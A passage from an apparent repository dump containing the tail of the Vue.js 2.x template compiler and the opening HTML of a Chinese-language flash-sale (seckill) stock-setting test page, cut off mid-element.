{\n        return true\n      }\n    }\n    return false\n  }\n\n  /*  */\n\n  var fnExpRE = /^([\\w$_]+|\\([^)]*?\\))\\s*=>|^function\\s*\\(/;\n  var simplePathRE = /^[A-Za-z_$][\\w$]*(?:\\.[A-Za-z_$][\\w$]*|\\['[^']*?']|\\[\"[^\"]*?\"]|\\[\\d+]|\\[[A-Za-z_$][\\w$]*])*$/;\n\n  // KeyboardEvent.keyCode aliases\n  var keyCodes = {\n    esc: 27,\n    tab: 9,\n    enter: 13,\n    space: 32,\n    up: 38,\n    left: 37,\n    right: 39,\n    down: 40,\n    'delete': [8, 46]\n  };\n\n  // KeyboardEvent.key aliases\n  var keyNames = {\n    // #7880: IE11 and Edge use `Esc` for Escape key name.\n    esc: ['Esc', 'Escape'],\n    tab: 'Tab',\n    enter: 'Enter',\n    // #9112: IE11 uses `Spacebar` for Space key name.\n    space: [' ', 'Spacebar'],\n    // #7806: IE11 uses key names without `Arrow` prefix for arrow keys.\n    up: ['Up', 'ArrowUp'],\n    left: ['Left', 'ArrowLeft'],\n    right: ['Right', 'ArrowRight'],\n    down: ['Down', 'ArrowDown'],\n    // #9112: IE11 uses `Del` for Delete key name.\n    'delete': ['Backspace', 'Delete', 'Del']\n  };\n\n  // #4868: modifiers that prevent the execution of the listener\n  // need to explicitly return null so that we can determine whether to remove\n  // the listener for .once\n  var genGuard = function (condition) { return (\"if(\" + condition + \")return null;\"); };\n\n  var modifierCode = {\n    stop: '$event.stopPropagation();',\n    prevent: '$event.preventDefault();',\n    self: genGuard(\"$event.target !== $event.currentTarget\"),\n    ctrl: genGuard(\"!$event.ctrlKey\"),\n    shift: genGuard(\"!$event.shiftKey\"),\n    alt: genGuard(\"!$event.altKey\"),\n    meta: genGuard(\"!$event.metaKey\"),\n    left: genGuard(\"'button' in $event && $event.button !== 0\"),\n    middle: genGuard(\"'button' in $event && $event.button !== 1\"),\n    right: genGuard(\"'button' in $event && $event.button !== 2\")\n  };\n\n  function genHandlers (\n    events,\n    isNative\n  ) {\n    var res = isNative ? 'nativeOn:{' : 'on:{';\n    for (var name in events) {\n      res += \"\\\"\" + name + \"\\\":\" + (genHandler(name, events[name])) + \",\";\n    }\n    return res.slice(0, -1) + '}'\n  }\n\n  function genHandler (\n    name,\n    handler\n  ) {\n    if (!handler) {\n      return 'function(){}'\n    }\n\n    if (Array.isArray(handler)) {\n      return (\"[\" + (handler.map(function (handler) { return genHandler(name, handler); }).join(',')) + \"]\")\n    }\n\n    var isMethodPath = simplePathRE.test(handler.value);\n    var isFunctionExpression = fnExpRE.test(handler.value);\n\n    if (!handler.modifiers) {\n      if (isMethodPath || isFunctionExpression) {\n        return handler.value\n      }\n      return (\"function($event){\" + (handler.value) + \"}\") // inline statement\n    } else {\n      var code = '';\n      var genModifierCode = '';\n      var keys = [];\n      for (var key in handler.modifiers) {\n        if (modifierCode[key]) {\n          genModifierCode += modifierCode[key];\n          // left/right\n          if (keyCodes[key]) {\n            keys.push(key);\n          }\n        } else if (key === 'exact') {\n          var modifiers = (handler.modifiers);\n          genModifierCode += genGuard(\n            ['ctrl', 'shift', 'alt', 'meta']\n              .filter(function (keyModifier) { return !modifiers[keyModifier]; })\n              .map(function (keyModifier) { return (\"$event.\" + keyModifier + \"Key\"); })\n              .join('||')\n          );\n        } else {\n          keys.push(key);\n        }\n      }\n      if (keys.length) {\n        code += genKeyFilter(keys);\n      }\n      // Make sure modifiers like prevent and stop get executed after key filtering\n      if (genModifierCode) {\n        code += genModifierCode;\n      }\n      var handlerCode = isMethodPath\n        ? (\"return \" + (handler.value) + \"($event)\")\n        : isFunctionExpression\n          ? (\"return (\" + (handler.value) + \")($event)\")\n          : handler.value;\n      return (\"function($event){\" + code + handlerCode + \"}\")\n    }\n  }\n\n  function genKeyFilter (keys) {\n    return (\"if(!('button' in $event)&&\" + (keys.map(genFilterCode).join('&&')) + \")return null;\")\n  }\n\n  function genFilterCode (key) {\n    var keyVal = parseInt(key, 10);\n    if (keyVal) {\n      return (\"$event.keyCode!==\" + keyVal)\n    }\n    var keyCode = keyCodes[key];\n    var keyName = keyNames[key];\n    return (\n      \"_k($event.keyCode,\" +\n      (JSON.stringify(key)) + \",\" +\n      (JSON.stringify(keyCode)) + \",\" +\n      \"$event.key,\" +\n      \"\" + (JSON.stringify(keyName)) +\n      \")\"\n    )\n  }\n\n  /*  */\n\n  function on (el, dir) {\n    if (dir.modifiers) {\n      warn(\"v-on without argument does not support modifiers.\");\n    }\n    el.wrapListeners = function (code) { return (\"_g(\" + code + \",\" + (dir.value) + \")\"); };\n  }\n\n  /*  */\n\n  function bind$1 (el, dir) {\n    el.wrapData = function (code) {\n      return (\"_b(\" + code + \",'\" + (el.tag) + \"',\" + (dir.value) + \",\" + (dir.modifiers && dir.modifiers.prop ? 'true' : 'false') + (dir.modifiers && dir.modifiers.sync ? ',true' : '') + \")\")\n    };\n  }\n\n  /*  */\n\n  var baseDirectives = {\n    on: on,\n    bind: bind$1,\n    cloak: noop\n  };\n\n  /*  */\n\n\n\n\n\n  var CodegenState = function CodegenState (options) {\n    this.options = options;\n    this.warn = options.warn || baseWarn;\n    this.transforms = pluckModuleFunction(options.modules, 'transformCode');\n    this.dataGenFns = pluckModuleFunction(options.modules, 'genData');\n    this.directives = extend(extend({}, baseDirectives), options.directives);\n    var isReservedTag = options.isReservedTag || no;\n    this.maybeComponent = function (el) { return !(isReservedTag(el.tag) && !el.component); };\n    this.onceId = 0;\n    this.staticRenderFns = [];\n    this.pre = false;\n  };\n\n\n\n  function generate (\n    ast,\n    options\n  ) {\n    var state = new CodegenState(options);\n    var code = ast ? genElement(ast, state) : '_c(\"div\")';\n    return {\n      render: (\"with(this){return \" + code + \"}\"),\n      staticRenderFns: state.staticRenderFns\n    }\n  }\n\n  function genElement (el, state) {\n    if (el.parent) {\n      el.pre = el.pre || el.parent.pre;\n    }\n\n    if (el.staticRoot && !el.staticProcessed) {\n      return genStatic(el, state)\n    } else if (el.once && !el.onceProcessed) {\n      return genOnce(el, state)\n    } else if (el.for && !el.forProcessed) {\n      return genFor(el, state)\n    } else if (el.if && !el.ifProcessed) {\n      return genIf(el, state)\n    } else if (el.tag === 'template' && !el.slotTarget && !state.pre) {\n      return genChildren(el, state) || 'void 0'\n    } else if (el.tag === 'slot') {\n      return genSlot(el, state)\n    } else {\n      // component or element\n      var code;\n      if (el.component) {\n        code = genComponent(el.component, el, state);\n      } else {\n        var data;\n        if (!el.plain || (el.pre && state.maybeComponent(el))) {\n          data = genData$2(el, state);\n        }\n\n        var children = el.inlineTemplate ? null : genChildren(el, state, true);\n        code = \"_c('\" + (el.tag) + \"'\" + (data ? (\",\" + data) : '') + (children ? (\",\" + children) : '') + \")\";\n      }\n      // module transforms\n      for (var i = 0; i < state.transforms.length; i++) {\n        code = state.transforms[i](el, code);\n      }\n      return code\n    }\n  }\n\n  // hoist static sub-trees out\n  function genStatic (el, state) {\n    el.staticProcessed = true;\n    // Some elements (templates) need to behave differently inside of a v-pre\n    // node.  All pre nodes are static roots, so we can use this as a location to\n    // wrap a state change and reset it upon exiting the pre node.\n    var originalPreState = state.pre;\n    if (el.pre) {\n      state.pre = el.pre;\n    }\n    state.staticRenderFns.push((\"with(this){return \" + (genElement(el, state)) + \"}\"));\n    state.pre = originalPreState;\n    return (\"_m(\" + (state.staticRenderFns.length - 1) + (el.staticInFor ? ',true' : '') + \")\")\n  }\n\n  // v-once\n  function genOnce (el, state) {\n    el.onceProcessed = true;\n    if (el.if && !el.ifProcessed) {\n      return genIf(el, state)\n    } else if (el.staticInFor) {\n      var key = '';\n      var parent = el.parent;\n      while (parent) {\n        if (parent.for) {\n          key = parent.key;\n          break\n        }\n        parent = parent.parent;\n      }\n      if (!key) {\n        state.warn(\n          \"v-once can only be used inside v-for that is keyed. \"\n        );\n        return genElement(el, state)\n      }\n      return (\"_o(\" + (genElement(el, state)) + \",\" + (state.onceId++) + \",\" + key + \")\")\n    } else {\n      return genStatic(el, state)\n    }\n  }\n\n  function genIf (\n    el,\n    state,\n    altGen,\n    altEmpty\n  ) {\n    el.ifProcessed = true; // avoid recursion\n    return genIfConditions(el.ifConditions.slice(), state, altGen, altEmpty)\n  }\n\n  function genIfConditions (\n    conditions,\n    state,\n    altGen,\n    altEmpty\n  ) {\n    if (!conditions.length) {\n      return altEmpty || '_e()'\n    }\n\n    var condition = conditions.shift();\n    if (condition.exp) {\n      return (\"(\" + (condition.exp) + \")?\" + (genTernaryExp(condition.block)) + \":\" + (genIfConditions(conditions, state, altGen, altEmpty)))\n    } else {\n      return (\"\" + (genTernaryExp(condition.block)))\n    }\n\n    // v-if with v-once should generate code like (a)?_m(0):_m(1)\n    function genTernaryExp (el) {\n      return altGen\n        ? altGen(el, state)\n        : el.once\n          ? genOnce(el, state)\n          : genElement(el, state)\n    }\n  }\n\n  function genFor (\n    el,\n    state,\n    altGen,\n    altHelper\n  ) {\n    var exp = el.for;\n    var alias = el.alias;\n    var iterator1 = el.iterator1 ? (\",\" + (el.iterator1)) : '';\n    var iterator2 = el.iterator2 ? (\",\" + (el.iterator2)) : '';\n\n    if (state.maybeComponent(el) &&\n      el.tag !== 'slot' &&\n      el.tag !== 'template' &&\n      !el.key\n    ) {\n      state.warn(\n        \"<\" + (el.tag) + \" v-for=\\\"\" + alias + \" in \" + exp + \"\\\">: component lists rendered with \" +\n        \"v-for should have explicit keys. \" +\n        \"See https://vuejs.org/guide/list.html#key for more info.\",\n        true /* tip */\n      );\n    }\n\n    el.forProcessed = true; // avoid recursion\n    return (altHelper || '_l') + \"((\" + exp + \"),\" +\n      \"function(\" + alias + iterator1 + iterator2 + \"){\" +\n        \"return \" + ((altGen || genElement)(el, state)) +\n      '})'\n  }\n\n  function genData$2 (el, state) {\n    var data = '{';\n\n    // directives first.\n    // directives may mutate the el's other properties before they are generated.\n    var dirs = genDirectives(el, state);\n    if (dirs) { data += dirs + ','; }\n\n    // key\n    if (el.key) {\n      data += \"key:\" + (el.key) + \",\";\n    }\n    // ref\n    if (el.ref) {\n      data += \"ref:\" + (el.ref) + \",\";\n    }\n    if (el.refInFor) {\n      data += \"refInFor:true,\";\n    }\n    // pre\n    if (el.pre) {\n      data += \"pre:true,\";\n    }\n    // record original tag name for components using \"is\" attribute\n    if (el.component) {\n      data += \"tag:\\\"\" + (el.tag) + \"\\\",\";\n    }\n    // module data generation functions\n    for (var i = 0; i < state.dataGenFns.length; i++) {\n      data += state.dataGenFns[i](el);\n    }\n    // attributes\n    if (el.attrs) {\n      data += \"attrs:{\" + (genProps(el.attrs)) + \"},\";\n    }\n    // DOM props\n    if (el.props) {\n      data += \"domProps:{\" + (genProps(el.props)) + \"},\";\n    }\n    // event handlers\n    if (el.events) {\n      data += (genHandlers(el.events, false)) + \",\";\n    }\n    if (el.nativeEvents) {\n      data += (genHandlers(el.nativeEvents, true)) + \",\";\n    }\n    // slot target\n    // only for non-scoped slots\n    if (el.slotTarget && !el.slotScope) {\n      data += \"slot:\" + (el.slotTarget) + \",\";\n    }\n    // scoped slots\n    if (el.scopedSlots) {\n      data += (genScopedSlots(el.scopedSlots, state)) + \",\";\n    }\n    // component v-model\n    if (el.model) {\n      data += \"model:{value:\" + (el.model.value) + \",callback:\" + (el.model.callback) + \",expression:\" + (el.model.expression) + \"},\";\n    }\n    // inline-template\n    if (el.inlineTemplate) {\n      var inlineTemplate = genInlineTemplate(el, state);\n      if (inlineTemplate) {\n        data += inlineTemplate + \",\";\n      }\n    }\n    data = data.replace(/,$/, '') + '}';\n    // v-bind data wrap\n    if (el.wrapData) {\n      data = el.wrapData(data);\n    }\n    // v-on data wrap\n    if (el.wrapListeners) {\n      data = el.wrapListeners(data);\n    }\n    return data\n  }\n\n  function genDirectives (el, state) {\n    var dirs = el.directives;\n    if (!dirs) { return }\n    var res = 'directives:[';\n    var hasRuntime = false;\n    var i, l, dir, needRuntime;\n    for (i = 0, l = dirs.length; i < l; i++) {\n      dir = dirs[i];\n      needRuntime = true;\n      var gen = state.directives[dir.name];\n      if (gen) {\n        // compile-time directive that manipulates AST.\n        // returns true if it also needs a runtime counterpart.\n        needRuntime = !!gen(el, dir, state.warn);\n      }\n      if (needRuntime) {\n        hasRuntime = true;\n        res += \"{name:\\\"\" + (dir.name) + \"\\\",rawName:\\\"\" + (dir.rawName) + \"\\\"\" + (dir.value ? (\",value:(\" + (dir.value) + \"),expression:\" + (JSON.stringify(dir.value))) : '') + (dir.arg ? (\",arg:\\\"\" + (dir.arg) + \"\\\"\") : '') + (dir.modifiers ? (\",modifiers:\" + (JSON.stringify(dir.modifiers))) : '') + \"},\";\n      }\n    }\n    if (hasRuntime) {\n      return res.slice(0, -1) + ']'\n    }\n  }\n\n  function genInlineTemplate (el, state) {\n    var ast = el.children[0];\n    if (el.children.length !== 1 || ast.type !== 1) {\n      state.warn('Inline-template components must have exactly one child element.');\n    }\n    if (ast.type === 1) {\n      var inlineRenderFns = generate(ast, state.options);\n      return (\"inlineTemplate:{render:function(){\" + (inlineRenderFns.render) + \"},staticRenderFns:[\" + (inlineRenderFns.staticRenderFns.map(function (code) { return (\"function(){\" + code + \"}\"); }).join(',')) + \"]}\")\n    }\n  }\n\n  function genScopedSlots (\n    slots,\n    state\n  ) {\n    return (\"scopedSlots:_u([\" + (Object.keys(slots).map(function (key) {\n        return genScopedSlot(key, slots[key], state)\n      }).join(',')) + \"])\")\n  }\n\n  function genScopedSlot (\n    key,\n    el,\n    state\n  ) {\n    if (el.for && !el.forProcessed) {\n      return genForScopedSlot(key, el, state)\n    }\n    var fn = \"function(\" + (String(el.slotScope)) + \"){\" +\n      \"return \" + (el.tag === 'template'\n        ? el.if\n          ? (\"(\" + (el.if) + \")?\" + (genChildren(el, state) || 'undefined') + \":undefined\")\n          : genChildren(el, state) || 'undefined'\n        : genElement(el, state)) + \"}\";\n    return (\"{key:\" + key + \",fn:\" + fn + \"}\")\n  }\n\n  function genForScopedSlot (\n    key,\n    el,\n    state\n  ) {\n    var exp = el.for;\n    var alias = el.alias;\n    var iterator1 = el.iterator1 ? (\",\" + (el.iterator1)) : '';\n    var iterator2 = el.iterator2 ? (\",\" + (el.iterator2)) : '';\n    el.forProcessed = true; // avoid recursion\n    return \"_l((\" + exp + \"),\" +\n      \"function(\" + alias + iterator1 + iterator2 + \"){\" +\n        \"return \" + (genScopedSlot(key, el, state)) +\n      '})'\n  }\n\n  function genChildren (\n    el,\n    state,\n    checkSkip,\n    altGenElement,\n    altGenNode\n  ) {\n    var children = el.children;\n    if (children.length) {\n      var el$1 = children[0];\n      // optimize single v-for\n      if (children.length === 1 &&\n        el$1.for &&\n        el$1.tag !== 'template' &&\n        el$1.tag !== 'slot'\n      ) {\n        var normalizationType = checkSkip\n          ? state.maybeComponent(el$1) ? \",1\" : \",0\"\n          : \"\";\n        return (\"\" + ((altGenElement || genElement)(el$1, state)) + normalizationType)\n      }\n      var normalizationType$1 = checkSkip\n        ? getNormalizationType(children, state.maybeComponent)\n        : 0;\n      var gen = altGenNode || genNode;\n      return (\"[\" + (children.map(function (c) { return gen(c, state); }).join(',')) + \"]\" + (normalizationType$1 ? (\",\" + normalizationType$1) : ''))\n    }\n  }\n\n  // determine the normalization needed for the children array.\n  // 0: no normalization needed\n  // 1: simple normalization needed (possible 1-level deep nested array)\n  // 2: full normalization needed\n  function getNormalizationType (\n    children,\n    maybeComponent\n  ) {\n    var res = 0;\n    for (var i = 0; i < children.length; i++) {\n      var el = children[i];\n      if (el.type !== 1) {\n        continue\n      }\n      if (needsNormalization(el) ||\n          (el.ifConditions && el.ifConditions.some(function (c) { return needsNormalization(c.block); }))) {\n        res = 2;\n        break\n      }\n      if (maybeComponent(el) ||\n          (el.ifConditions && el.ifConditions.some(function (c) { return maybeComponent(c.block); }))) {\n        res = 1;\n      }\n    }\n    return res\n  }\n\n  function needsNormalization (el) {\n    return el.for !== undefined || el.tag === 'template' || el.tag === 'slot'\n  }\n\n  function genNode (node, state) {\n    if (node.type === 1) {\n      return genElement(node, state)\n    } else if (node.type === 3 && node.isComment) {\n      return genComment(node)\n    } else {\n      return genText(node)\n    }\n  }\n\n  function genText (text) {\n    return (\"_v(\" + (text.type === 2\n      ? text.expression // no need for () because already wrapped in _s()\n      : transformSpecialNewlines(JSON.stringify(text.text))) + \")\")\n  }\n\n  function genComment (comment) {\n    return (\"_e(\" + (JSON.stringify(comment.text)) + \")\")\n  }\n\n  function genSlot (el, state) {\n    var slotName = el.slotName || '\"default\"';\n    var children = genChildren(el, state);\n    var res = \"_t(\" + slotName + (children ? (\",\" + children) : '');\n    var attrs = el.attrs && (\"{\" + (el.attrs.map(function (a) { return ((camelize(a.name)) + \":\" + (a.value)); }).join(',')) + \"}\");\n    var bind$$1 = el.attrsMap['v-bind'];\n    if ((attrs || bind$$1) && !children) {\n      res += \",null\";\n    }\n    if (attrs) {\n      res += \",\" + attrs;\n    }\n    if (bind$$1) {\n      res += (attrs ? '' : ',null') + \",\" + bind$$1;\n    }\n    return res + ')'\n  }\n\n  // componentName is el.component, take it as argument to shun flow's pessimistic refinement\n  function genComponent (\n    componentName,\n    el,\n    state\n  ) {\n    var children = el.inlineTemplate ? null : genChildren(el, state, true);\n    return (\"_c(\" + componentName + \",\" + (genData$2(el, state)) + (children ? (\",\" + children) : '') + \")\")\n  }\n\n  function genProps (props) {\n    var res = '';\n    for (var i = 0; i < props.length; i++) {\n      var prop = props[i];\n      /* istanbul ignore if */\n      {\n        res += \"\\\"\" + (prop.name) + \"\\\":\" + (transformSpecialNewlines(prop.value)) + \",\";\n      }\n    }\n    return res.slice(0, -1)\n  }\n\n  // #3895, #4268\n  function transformSpecialNewlines (text) {\n    return text\n      .replace(/\\u2028/g, '\\\\u2028')\n      .replace(/\\u2029/g, '\\\\u2029')\n  }\n\n  /*  */\n\n  // these keywords should not appear inside expressions, but operators like\n  // typeof, instanceof and in are allowed\n  var prohibitedKeywordRE = new RegExp('\\\\b' + (\n    'do,if,for,let,new,try,var,case,else,with,await,break,catch,class,const,' +\n    'super,throw,while,yield,delete,export,import,return,switch,default,' +\n    'extends,finally,continue,debugger,function,arguments'\n  ).split(',').join('\\\\b|\\\\b') + '\\\\b');\n\n  // these unary operators should not be used as property/method names\n  var unaryOperatorsRE = new RegExp('\\\\b' + (\n    'delete,typeof,void'\n  ).split(',').join('\\\\s*\\\\([^\\\\)]*\\\\)|\\\\b') + '\\\\s*\\\\([^\\\\)]*\\\\)');\n\n  // strip strings in expressions\n  var stripStringRE = /'(?:[^'\\\\]|\\\\.)*'|\"(?:[^\"\\\\]|\\\\.)*\"|`(?:[^`\\\\]|\\\\.)*\\$\\{|\\}(?:[^`\\\\]|\\\\.)*`|`(?:[^`\\\\]|\\\\.)*`/g;\n\n  // detect problematic expressions in a template\n  function detectErrors (ast) {\n    var errors = [];\n    if (ast) {\n      checkNode(ast, errors);\n    }\n    return errors\n  }\n\n  function checkNode (node, errors) {\n    if (node.type === 1) {\n      for (var name in node.attrsMap) {\n        if (dirRE.test(name)) {\n          var value = node.attrsMap[name];\n          if (value) {\n            if (name === 'v-for') {\n              checkFor(node, (\"v-for=\\\"\" + value + \"\\\"\"), errors);\n            } else if (onRE.test(name)) {\n              checkEvent(value, (name + \"=\\\"\" + value + \"\\\"\"), errors);\n            } else {\n              checkExpression(value, (name + \"=\\\"\" + value + \"\\\"\"), errors);\n            }\n          }\n        }\n      }\n      if (node.children) {\n        for (var i = 0; i < node.children.length; i++) {\n          checkNode(node.children[i], errors);\n        }\n      }\n    } else if (node.type === 2) {\n      checkExpression(node.expression, node.text, errors);\n    }\n  }\n\n  function checkEvent (exp, text, errors) {\n    var stipped = exp.replace(stripStringRE, '');\n    var keywordMatch = stipped.match(unaryOperatorsRE);\n    if (keywordMatch && stipped.charAt(keywordMatch.index - 1) !== '$') {\n      errors.push(\n        \"avoid using JavaScript unary operator as property name: \" +\n        \"\\\"\" + (keywordMatch[0]) + \"\\\" in expression \" + (text.trim())\n      );\n    }\n    checkExpression(exp, text, errors);\n  }\n\n  function checkFor (node, text, errors) {\n    checkExpression(node.for || '', text, errors);\n    checkIdentifier(node.alias, 'v-for alias', text, errors);\n    checkIdentifier(node.iterator1, 'v-for iterator', text, errors);\n    checkIdentifier(node.iterator2, 'v-for iterator', text, errors);\n  }\n\n  function checkIdentifier (\n    ident,\n    type,\n    text,\n    errors\n  ) {\n    if (typeof ident === 'string') {\n      try {\n        new Function((\"var \" + ident + \"=_\"));\n      } catch (e) {\n        errors.push((\"invalid \" + type + \" \\\"\" + ident + \"\\\" in expression: \" + (text.trim())));\n      }\n    }\n  }\n\n  function checkExpression (exp, text, errors) {\n    try {\n      new Function((\"return \" + exp));\n    } catch (e) {\n      var keywordMatch = exp.replace(stripStringRE, '').match(prohibitedKeywordRE);\n      if (keywordMatch) {\n        errors.push(\n          \"avoid using JavaScript keyword as property name: \" +\n          \"\\\"\" + (keywordMatch[0]) + \"\\\"\\n  Raw expression: \" + (text.trim())\n        );\n      } else {\n        errors.push(\n          \"invalid expression: \" + (e.message) + \" in\\n\\n\" +\n          \"    \" + exp + \"\\n\\n\" +\n          \"  Raw expression: \" + (text.trim()) + \"\\n\"\n        );\n      }\n    }\n  }\n\n  /*  */\n\n\n\n  function createFunction (code, errors) {\n    try {\n      return new Function(code)\n    } catch (err) {\n      errors.push({ err: err, code: code });\n      return noop\n    }\n  }\n\n  function createCompileToFunctionFn (compile) {\n    var cache = Object.create(null);\n\n    return function compileToFunctions (\n      template,\n      options,\n      vm\n    ) {\n      options = extend({}, options);\n      var warn$$1 = options.warn || warn;\n      delete options.warn;\n\n      /* istanbul ignore if */\n      {\n        // detect possible CSP restriction\n        try {\n          new Function('return 1');\n        } catch (e) {\n          if (e.toString().match(/unsafe-eval|CSP/)) {\n            warn$$1(\n              'It seems you are using the standalone build of Vue.js in an ' +\n              'environment with Content Security Policy that prohibits unsafe-eval. ' +\n              'The template compiler cannot work in this environment. Consider ' +\n              'relaxing the policy to allow unsafe-eval or pre-compiling your ' +\n              'templates into render functions.'\n            );\n          }\n        }\n      }\n\n      // check cache\n      var key = options.delimiters\n        ? String(options.delimiters) + template\n        : template;\n      if (cache[key]) {\n        return cache[key]\n      }\n\n      // compile\n      var compiled = compile(template, options);\n\n      // check compilation errors/tips\n      {\n        if (compiled.errors && compiled.errors.length) {\n          warn$$1(\n            \"Error compiling template:\\n\\n\" + template + \"\\n\\n\" +\n            compiled.errors.map(function (e) { return (\"- \" + e); }).join('\\n') + '\\n',\n            vm\n          );\n        }\n        if (compiled.tips && compiled.tips.length) {\n          compiled.tips.forEach(function (msg) { return tip(msg, vm); });\n        }\n      }\n\n      // turn code into functions\n      var res = {};\n      var fnGenErrors = [];\n      res.render = createFunction(compiled.render, fnGenErrors);\n      res.staticRenderFns = compiled.staticRenderFns.map(function (code) {\n        return createFunction(code, fnGenErrors)\n      });\n\n      // check function generation errors.\n      // this should only happen if there is a bug in the compiler itself.\n      // mostly for codegen development use\n      /* istanbul ignore if */\n      {\n        if ((!compiled.errors || !compiled.errors.length) && fnGenErrors.length) {\n          warn$$1(\n            \"Failed to generate render function:\\n\\n\" +\n            fnGenErrors.map(function (ref) {\n              var err = ref.err;\n              var code = ref.code;\n\n              return ((err.toString()) + \" in\\n\\n\" + code + \"\\n\");\n          }).join('\\n'),\n            vm\n          );\n        }\n      }\n\n      return (cache[key] = res)\n    }\n  }\n\n  /*  */\n\n  function createCompilerCreator (baseCompile) {\n    return function createCompiler (baseOptions) {\n      function compile (\n        template,\n        options\n      ) {\n        var finalOptions = Object.create(baseOptions);\n        var errors = [];\n        var tips = [];\n        finalOptions.warn = function (msg, tip) {\n          (tip ? tips : errors).push(msg);\n        };\n\n        if (options) {\n          // merge custom modules\n          if (options.modules) {\n            finalOptions.modules =\n              (baseOptions.modules || []).concat(options.modules);\n          }\n          // merge custom directives\n          if (options.directives) {\n            finalOptions.directives = extend(\n              Object.create(baseOptions.directives || null),\n              options.directives\n            );\n          }\n          // copy other options\n          for (var key in options) {\n            if (key !== 'modules' && key !== 'directives') {\n              finalOptions[key] = options[key];\n            }\n          }\n        }\n\n        var compiled = baseCompile(template, finalOptions);\n        {\n          errors.push.apply(errors, detectErrors(compiled.ast));\n        }\n        compiled.errors = errors;\n        compiled.tips = tips;\n        return compiled\n      }\n\n      return {\n        compile: compile,\n        compileToFunctions: createCompileToFunctionFn(compile)\n      }\n    }\n  }\n\n  /*  */\n\n  // `createCompilerCreator` allows creating compilers that use alternative\n  // parser/optimizer/codegen, e.g the SSR optimizing compiler.\n  // Here we just export a default compiler using the default parts.\n  var createCompiler = createCompilerCreator(function baseCompile (\n    template,\n    options\n  ) {\n    var ast = parse(template.trim(), options);\n    if (options.optimize !== false) {\n      optimize(ast, options);\n    }\n    var code = generate(ast, options);\n    return {\n      ast: ast,\n      render: code.render,\n      staticRenderFns: code.staticRenderFns\n    }\n  });\n\n  /*  */\n\n  var ref$1 = createCompiler(baseOptions);\n  var compile = ref$1.compile;\n  var compileToFunctions = ref$1.compileToFunctions;\n\n  /*  */\n\n  // check whether current browser encodes a char inside attribute values\n  var div;\n  function getShouldDecode (href) {\n    div = div || document.createElement('div');\n    div.innerHTML = href ? \"<a href=\\\"\\n\\\"/>\" : \"<div a=\\\"\\n\\\"/>\";\n    return div.innerHTML.indexOf('&#10;') > 0\n  }\n\n  // #3663: IE encodes newlines inside attribute values while other browsers don't\n  var shouldDecodeNewlines = inBrowser ? getShouldDecode(false) : false;\n  // #6828: chrome encodes content in a[href]\n  var shouldDecodeNewlinesForHref = inBrowser ? getShouldDecode(true) : false;\n\n  /*  */\n\n  var idToTemplate = cached(function (id) {\n    var el = query(id);\n    return el && el.innerHTML\n  });\n\n  var mount = Vue.prototype.$mount;\n  Vue.prototype.$mount = function (\n    el,\n    hydrating\n  ) {\n    el = el && query(el);\n\n    /* istanbul ignore if */\n    if (el === document.body || el === document.documentElement) {\n      warn(\n        \"Do not mount Vue to <html> or <body> - mount to normal elements instead.\"\n      );\n      return this\n    }\n\n    var options = this.$options;\n    // resolve template/el and convert to render function\n    if (!options.render) {\n      var template = options.template;\n      if (template) {\n        if (typeof template === 'string') {\n          if (template.charAt(0) === '#') {\n            template = idToTemplate(template);\n            /* istanbul ignore if */\n            if (!template) {\n              warn(\n                (\"Template element not found or is empty: \" + (options.template)),\n                this\n              );\n            }\n          }\n        } else if (template.nodeType) {\n          template = template.innerHTML;\n        } else {\n          {\n            warn('invalid template option:' + template, this);\n          }\n          return this\n        }\n      } else if (el) {\n        template = getOuterHTML(el);\n      }\n      if (template) {\n        /* istanbul ignore if */\n        if (config.performance && mark) {\n          mark('compile');\n        }\n\n        var ref = compileToFunctions(template, {\n          shouldDecodeNewlines: shouldDecodeNewlines,\n          shouldDecodeNewlinesForHref: shouldDecodeNewlinesForHref,\n          delimiters: options.delimiters,\n          comments: options.comments\n        }, this);\n        var render = ref.render;\n        var staticRenderFns = ref.staticRenderFns;\n        options.render = render;\n        options.staticRenderFns = staticRenderFns;\n\n        /* istanbul ignore if */\n        if (config.performance && mark) {\n          mark('compile end');\n          measure((\"vue \" + (this._name) + \" compile\"), 'compile', 'compile end');\n        }\n      }\n    }\n    return mount.call(this, el, hydrating)\n  };\n\n  /**\n   * Get outerHTML of elements, taking care\n   * of SVG elements in IE as well.\n   */\n  function getOuterHTML (el) {\n    if (el.outerHTML) {\n      return el.outerHTML\n    } else {\n      var container = document.createElement('div');\n      container.appendChild(el.cloneNode(true));\n      return container.innerHTML\n    }\n  }\n\n  Vue.compile = compileToFunctions;\n\n  return Vue;\n\n})));"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/webapp/views/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<!-- import CSS -->\n<link rel=\"stylesheet\" href=\"../css/index.css\">\n<style>\n.el-header, .el-footer {\n\tbackground-color: #B3C0D1;\n\tcolor: #333;\n\ttext-align: center;\n\tline-height: 60px;\n}\n\n.el-aside {\n\tbackground-color: #D3DCE6;\n\tcolor: #333;\n\ttext-align: center;\n\tline-height: 200px;\n}\n\n.el-main {\n\tbackground-color: #E9EEF3;\n\tcolor: #333;\n\ttext-align: center;\n\tline-height: 160px;\n}\n\nbody>.el-container {\n\tmargin-bottom: 40px;\n}\n\n.el-container:nth-child(5) .el-aside, .el-container:nth-child(6) .el-aside\n\t{\n\tline-height: 260px;\n}\n\n.el-container:nth-child(7) .el-aside {\n\tline-height: 320px;\n}\n[v-cloak]{\n\tdisplay: none;\n}\n</style>\n</head>\n<body>\n\t<div id=\"app\" v-cloak>\n\t\t<el-container>\n\t\t\t<el-header>分布式秒杀测试</el-header>\n\t\t\t<el-container>\n\t\t\t\t<el-aside width=\"200px\">当前活动编码：{{stallActivityId}}</el-aside>\n\t\t\t\t<el-main>\n\t\t\t\t\t<el-form ref=\"form\" :model=\"form\" label-width=\"80px\">\n\t\t\t\t\t\t<el-row>\n\t\t\t\t\t\t\t<el-col :span=\"18\">\n\t\t\t\t\t\t\t\t<el-form-item label=\"库存数量\">\n\t\t\t\t\t\t\t\t\t<el-input v-model=\"stockNum\"></el-input>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t\t<el-col :span=\"6\">\n\t\t\t\t\t\t\t\t<el-form-item>\n\t\t\t\t\t\t\t\t\t<el-button type=\"primary\" @click.native=\"setStockNum\">设置库存</el-button>\n\t\t\t\t\t\t\t\t</el-form-item>\n\t\t\t\t\t\t\t</el-col>\n\t\t\t\t\t\t</el-row>\n\t\t\t\t\t\t<el-row>\n\t\t\t\t\t\t\t<el-col 